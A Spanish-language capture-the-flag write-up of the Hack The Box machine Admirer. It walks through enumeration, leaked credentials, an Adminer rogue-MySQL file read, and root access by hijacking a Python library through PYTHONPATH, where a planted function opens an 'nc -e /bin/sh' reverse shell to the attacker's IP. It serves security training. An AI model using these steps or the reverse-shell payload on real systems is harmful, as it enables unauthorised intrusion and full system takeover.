This page looks best with JavaScript enabled

Hack The Box - Admirer

 •  ✍️ sckull

Admirer de HTB. En la pagina web encontramos credenciales que dieron acceso al servicio FTP, en este ultimo vemos el codigo fuente dentro de un “backup” el cual nos guió y dio acceso a la base de datos Admirer, misma que conectamos a nuestra maquina para explotar una vulnerabilidad que nos dio acceso a la maquina. Realizando Python Library Hijacking obtuvimos acceso como root.

Informacion de la Maquina

Nombre Admirer box_img_maker
OS

Linux

Puntos 20
Dificultad Facil
IP 10.10.10.187
Maker

polarbearer


GibParadox

Matrix
{
   "type":"radar",
   "data":{
      "labels":["Enumeration","Real-Life","CVE","Custom Explotation","CTF-Like"],
      "datasets":[
         {
            "label":"User Rate",  "data":[8, 5.7, 6, 4, 4.3],
            "backgroundColor":"rgba(75, 162, 189,0.5)",
            "borderColor":"#4ba2bd"
         },
         { 
            "label":"Maker Rate",
            "data":[9, 8, 8, 2, 2],
            "backgroundColor":"rgba(154, 204, 20,0.5)",
            "borderColor":"#9acc14"
         }
      ]
   },
    "options": {"scale": {"ticks": {"backdropColor":"rgba(0,0,0,0)"},
            "angleLines":{"color":"rgba(255, 255, 255,0.6)"},
            "gridLines":{"color":"rgba(255, 255, 255,0.6)"}
        }
    }
}

NMAP

Escaneo de puertos tcp, nmap nos muestra el puerto ftp (21), http (80) y el puerto ssh (22) abiertos.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
# Nmap 7.80 scan initiated Mon Sep 14 17:51:23 2020 as: nmap -p- --min-rate 1000 -o allports 10.10.10.187
Warning: 10.10.10.187 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.10.187 (10.10.10.187)
Host is up (0.072s latency).
Not shown: 64347 closed ports, 1185 filtered ports
PORT   STATE SERVICE
21/tcp open  ftp
22/tcp open  ssh
80/tcp open  http

# Nmap done at Mon Sep 14 17:53:40 2020 -- 1 IP address (1 host up) scanned in 136.74 seconds

# Nmap 7.80 scan initiated Mon Sep 14 17:54:29 2020 as: nmap -sV -sC -p21,22,80 -o serviceports 10.10.10.187
Nmap scan report for 10.10.10.187 (10.10.10.187)
Host is up (0.16s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 7.4p1 Debian 10+deb9u7 (protocol 2.0)
| ssh-hostkey: 
|   2048 4a:71:e9:21:63:69:9d:cb:dd:84:02:1a:23:97:e1:b9 (RSA)
|   256 c5:95:b6:21:4d:46:a4:25:55:7a:87:3e:19:a8:e7:02 (ECDSA)
|_  256 d0:2d:dd:d0:5c:42:f8:7b:31:5a:be:57:c4:a9:a7:56 (ED25519)
80/tcp open  http    Apache httpd 2.4.25 ((Debian))
| http-robots.txt: 1 disallowed entry 
|_/admin-dir
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Admirer
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Sep 14 17:54:44 2020 -- 1 IP address (1 host up) scanned in 15.78 seconds

HTTP

Encontramos una pagina web en el puerto 80.

image

GOBUSTER

Utilizamos gobuster para busqueda de directorios y archivos.

1
2
3
4
5
6
kali@kali:~/htb/admirer$ gobuster dir -u admirer.htb -w /usr/share/wordlists/dirb/common.txt -q -x txt,php,html -t 15
/assets (Status: 301)
/images (Status: 301)
/index.php (Status: 200)
/robots.txt (Status: 200)
/server-status (Status: 403)

Encontramos una direccion que contiene informacion personal y un nombre “waldo”.

1
2
3
4
User-agent: *

# This folder contains personal contacts and creds, so no one -not even robots- should see it - waldo
Disallow: /admin-dir

Ejecutamos nuevamente gobuster en este nueva directorio.

1
2
3
kali@kali:~/htb/admirer$ gobuster dir -u admirer.htb/admin-dir/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -q -x txt,php,html -t 15
/contact.txt (Status: 200)
/credentials.txt (Status: 200)

Encontramos dos archivos en uno vemos correos y en el otro contraseñas.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
  ##########
  # admins #
  ##########
  # Penny
  Email: p.wise@admirer.htb


  ##############
  # developers #
  ##############
  # Rajesh
  Email: r.nayyar@admirer.htb

  # Amy
  Email: a.bialik@admirer.htb

  # Leonard
  Email: l.galecki@admirer.htb



  #############
  # designers #
  #############
  # Howard
  Email: h.helberg@admirer.htb

  # Bernadette
  Email: b.rauch@admirer.htb
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
  [Internal mail account]
  w.cooper@admirer.htb
  fgJr6q#S\W:$P

  [FTP account]
  ftpuser
  %n?4Wz}R$tTF7

  [Wordpress account]
  admin
  w0rdpr3ss01!

FTP

Utilizamos las credenciales en el servicio FTP, en donde encontramos dos archivos html.tar.gz y dump.sql.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
kali@kali:~/htb/admirer$ ftp admirer.htb 
Connected to admirer.htb.
220 (vsFTPd 3.0.3)
Name (admirer.htb:kali): ftpuser
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -lah
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-x---    2 0        111          4096 Dec 03  2019 .
drwxr-x---    2 0        111          4096 Dec 03  2019 ..
-rw-r--r--    1 0        0            3405 Dec 02  2019 dump.sql
-rw-r--r--    1 0        0         5270987 Dec 03  2019 html.tar.gz
226 Directory send OK.
ftp> pwd
257 "/" is the current directory
ftp> get dump.sql
local: dump.sql remote: dump.sql
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for dump.sql (3405 bytes).
226 Transfer complete.
3405 bytes received in 0.00 secs (1.8346 MB/s)
ftp> get html.tar.gz
local: html.tar.gz remote: html.tar.gz
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for html.tar.gz (5270987 bytes).
226 Transfer complete.
5270987 bytes received in 7.27 secs (707.7599 kB/s)
ftp>

El archivo dump.sql no tiene nada interesante, el archivo html.tar.gz contiene el codigo fuente de la pagina que se muestra en el puerto 80.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
drwxr-xr-x 6 kali kali 4.0K Sep 14 18:20 .
drwxr-xr-x 3 kali kali 4.0K Sep 14 18:25 ..
drwxr-x--- 6 kali kali 4.0K Jun  6  2019 assets
-rw-r--r-- 1 kali kali 3.4K Sep 14 18:18 dump.sql
-rw-r--r-- 1 kali kali 5.1M Sep 14 18:18 html.tar.gz
drwxr-x--- 4 kali kali 4.0K Dec  2  2019 images
-rw-r----- 1 kali kali 4.6K Dec  3  2019 index.php
-rw-r----- 1 kali kali  134 Dec  1  2019 robots.txt
drwxr-x--- 2 kali kali 4.0K Dec  2  2019 utility-scripts
drwxr-x--- 2 kali kali 4.0K Dec  2  2019 w4ld0s_s3cr3t_d1r

Entre los archivos, encontramos varias contraseñas de waldo, además de ello vemos una carpeta nueva utility-scripts en la cual se encuentra una pagina que se muestran las tareas que se encuentran en /opt/scripts/admin_tasks.sh. Tambien vemos 4 opciones que “no estan disponibles”.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
<html>
<head>
  <title>Administrative Tasks</title>
</head>
<body>
  <h3>Admin Tasks Web Interface (v0.01 beta)</h3>
  <?php
  // Web Interface to the admin_tasks script
  // 
  if(isset($_REQUEST['task']))
  {
    $task = $_REQUEST['task'];
    if($task == '1' || $task == '2' || $task == '3' || $task == '4' ||
       $task == '5' || $task == '6' || $task == '7')
    {
      /*********************************************************************************** 
         Available options:
           1) View system uptime
           2) View logged in users
           3) View crontab (current user only)
           4) Backup passwd file (not working)
           5) Backup shadow file (not working)
           6) Backup web data (not working)
           7) Backup database (not working)

           NOTE: Options 4-7 are currently NOT working because they need root privileges.
                 I'm leaving them in the valid tasks in case I figure out a way
                 to securely run code as root from a PHP page.
      ************************************************************************************/
      echo str_replace("\n", "<br />", shell_exec("/opt/scripts/admin_tasks.sh $task 2>&1"));
    }
    else
    {
      echo("Invalid task.");
    }
  } 
  ?>

  <p>
  <h4>Select task:</p>
  <form method="POST">
    <select name="task">
      <option value=1>View system uptime</option>
      <option value=2>View logged in users</option>
      <option value=3>View crontab</option>
      <option value=4 disabled>Backup passwd file</option>
      <option value=5 disabled>Backup shadow file</option>
      <option value=6 disabled>Backup web data</option>
      <option value=7 disabled>Backup database</option>
    </select>
    <input type="submit">
  </form>
</body>
</html>

image

En este punto ya no encontramos nada interesante en la pagina ya que algunos archivos fueron reemplazados con mejores opciones como db_admin.php en el que indica que implementaron una mejor alternativa de codigo abierto:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
<?php
  $servername = "localhost";
  $username = "waldo";
  $password = "Wh3r3_1s_w4ld0?";

  // Create connection
  $conn = new mysqli($servername, $username, $password);

  // Check connection
  if ($conn->connect_error) {
      die("Connection failed: " . $conn->connect_error);
  }
  echo "Connected successfully";


  // TODO: Finish implementing this or find a better open source alternative
?>

Utilizamos nuevamente GOBUSTER para realizar una busqueda pero esta vez en utility-scripts.

1
2
3
4
kali@kali:~/htb/admirer$ gobuster dir -u http://admirer.htb/utility-scripts/ -w /usr/share/seclists/Discovery/Web-Content/big.txt -q -t 25 -x php,html,txt
/adminer.php (Status: 200)
/info.php (Status: 200)
/phptest.php (Status: 200)

Encontramos a Adminer una herramienta para administrar bases de datos donde logramos ver el login.

image

Intenamos utilizar las credenciales que encontramos en el “backup” de la pagina web pero ninguno funciono. Exploramos las vulnerabilidades de Adminer y encontramos que es posible conectar una base de datos externa y con esta conexion leer archivos de la maquina. Lo primero que hay que realizar es configurar una base de datos en nuestra maquina en MySQL.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
#Database
CREATE DATABASE sckull;
USE sckull;

#Table
create TABLE file(data varchar(1000));

#User
CREATE USER 'sckull'@'%' IDENTIFIED BY 'sckull';
GRANT ALL PRIVILEGES ON *.* TO 'sckull'@'%';
FLUSH PRIVILEGES;
#Test 
mysql -h 10.10.10.10 -u sckull -p sckull

Luego de ello debemos de conectarnos a nuestra base de datos utilizando Adminer con las credenciales, la IP de nuestra maquina y nombre de la base de datos que creamos.

image

Ejecutamos un query para ralizar la lectura del archivo admirer.php y vemos su codigo fuente.

1
2
3
load data local infile 'admirer.php'
into table file
fields terminated by '\n'

image

Despues de realizar una enumeracion logramos obtener algunas credenciales del archivo index.php.

1
2
3
4
5
6
7
8
[... REDACTED ...]

$servername = "localhost";
$username = "waldo";
$password = "&<h5b~yK3F#{PaPB&dA}{H>";
$dbname = "admirerdb";

[... REDACTED ...]

WALDO - USER

Utilizamos estas credenciales en el servicio ssh y logramos obtener una shell y nuestra flag user.txt.
image

PRIVILEGE ESCALATION

Hacemos una pequeña enumeracion con sudo -l -l y vemos que tenemos permisos para ejecutar el comando /opt/scripts/admin_tasks.sh.

image

El archivo admin_tasks.sh realiza un backup de diferentes archivos como /etc/passwd, /etc/shadow, pero algo interesante es de que realiza la ejecucion de un script en python.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
#!/bin/bash

backup_web()
{
    if [ "$EUID" -eq 0 ]
    then
        echo "Running backup script in the background, it might take a while..."
        /opt/scripts/backup.py &
    else
        echo "Insufficient privileges to perform the selected operation."
    fi
}

En este script logramos ver que importa la libreria shutil especificamente una de sus funciones make_archive().

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
#!/usr/bin/python3

from shutil import make_archive

src = '/var/www/html/'

# old ftp directory, not used anymore
#dst = '/srv/ftp/html'

dst = '/var/backups/html'

make_archive(dst, 'gztar', src)

Vamos a realizar Python Library Hijacking al igual que en THM - Ghizer pero con una shell diferente y utilizando la variable PYTHONPATH ya que no tenemos permisos en la carpeta donde estan estos scripts y es necesario para ejecutar el comando.

Creamos el archivo en /dev/shm/, puede ser en cualquier otra carpeta con permisos de escritura:

1
2
3
4
import os

def make_archive(no, one, this):	
	os.system("nc -e /bin/sh 10.10.15.75 1338")

Ejecutamos y seleccionamos la opcion 6, donde esta el script de python:

1
sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh

image

Logramos obtener una shell con usuario root y nuestra flag root.txt.

image

Share on

Dany Sucuc
WRITTEN BY
sckull
RedTeamer & Pentester wannabe